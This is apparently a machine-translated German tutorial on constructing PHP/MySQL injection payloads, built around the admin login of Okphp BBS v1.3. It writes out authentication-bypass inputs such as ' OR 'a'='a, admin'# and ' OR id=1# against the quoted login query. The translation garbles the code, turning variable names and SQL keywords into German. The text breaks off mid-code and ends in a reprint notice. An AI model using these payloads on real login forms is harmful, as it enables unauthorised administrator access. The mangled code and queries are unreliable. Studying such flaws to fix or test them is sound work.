1. Vorwort:
Versionsinformationen: Okphp BBS v1.3 Open-Source-Version
Download-Adresse: http://www.cncode.com/SoftView.asp?SoftID=1800
Aufgrund der inhärenten Gründe von PHP und MYSQL ist die Injektion von PHP MYSQL schwieriger als die von ASP, insbesondere die Erstellung von Anweisungen während der Injektion. Dieser Artikel verwendet hauptsächlich eine einfache Analyse einiger Dateien von Okphp BBS v1. 3. Lassen Sie uns über die Konstruktionsmethode der PHP-MySQL-Injection-Anweisung sprechen. Ich hoffe, dieser Artikel wird Ihnen hilfreich sein.
Erklärung: Alle im Artikel erwähnten „Schwachstellen“ wurden nicht getestet und existieren möglicherweise überhaupt nicht. Wichtig ist, ob es Lücken gibt oder nicht Anweisungsstruktur.
2. „Schwachstellen“-Analyse:
1. Admin/login.php-Injection führt zu einer Sicherheitslücke bei der Authentifizierungsumgehung:
Code:
$conn = sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "select id,group_id from $user_table where username = '$Benutzername' und Passwort='$Passwort'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$q = "select id,group_id from $user_table where username='$username' and password='$password'"
$username und $password werden nicht gefiltert und können leicht umgangen werden.
Methoden zum Ändern von Anweisungen wie „select * from $user_table“ mit Benutzername='$Benutzername' und Passwort='$Passwort' sind:
Konstruktion 1 (unter Verwendung logischer Operationen): $Benutzername = ' ODER 'a'='a $password=' ODER 'a'='a
Entspricht der SQL-Anweisung:
select * from $user_table where username='' OR 'a ' ='a' und passwort='' ODER 'a'='a'
Konstruktion 2 (verwenden Sie die Kommentaranweisung # in MySQL, /*, um $password auszukommentieren): $username=admin'# ( oder admin'/*)
Das heißt:
select * from $user_table where username='admin'#' and password='$password'"
Entspricht ::
Wählen Sie * aus $user_table, wobei Benutzername='admin' ist
In admin/login.php wird das $password in der $q-Anweisung vor der Abfrage MD5-verschlüsselt, sodass es nicht erstellt werden kann . Die Anweisung in 1 wird umgangen:
select id,group_id from $user_table where username='admin'#' and password='$password'"
Äquivalent zu:
Wählen Sie id,group_id aus $user_table, wobei username='admin'
Es wird eingerichtet, solange es einen Benutzer namens admin gibt. Wenn Sie den Benutzernamen nicht kennen, Sie kennen nur die entsprechende ID,
Wir können es wie folgt konstruieren: $username=' OR id=1#
Äquivalent zu:
select id,group_id from $ user_table wobei username='' OR id=1 # und password='$password' (die nach # sind auskommentiert)
Wir schauen uns dann den Code an:
if ($row[0]) { // If not admin or super moderator if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) { $login = 0; } else { $login = 1; } } // Fail to login--------------- if (!$login) { write_log("Moderator login","0","password wrong");
echo "Bitte geben Sie die Quelle für den Nachdruck an: Angriffsmethode: Talk PHP MySQL-Injection-Anweisungskonstruktion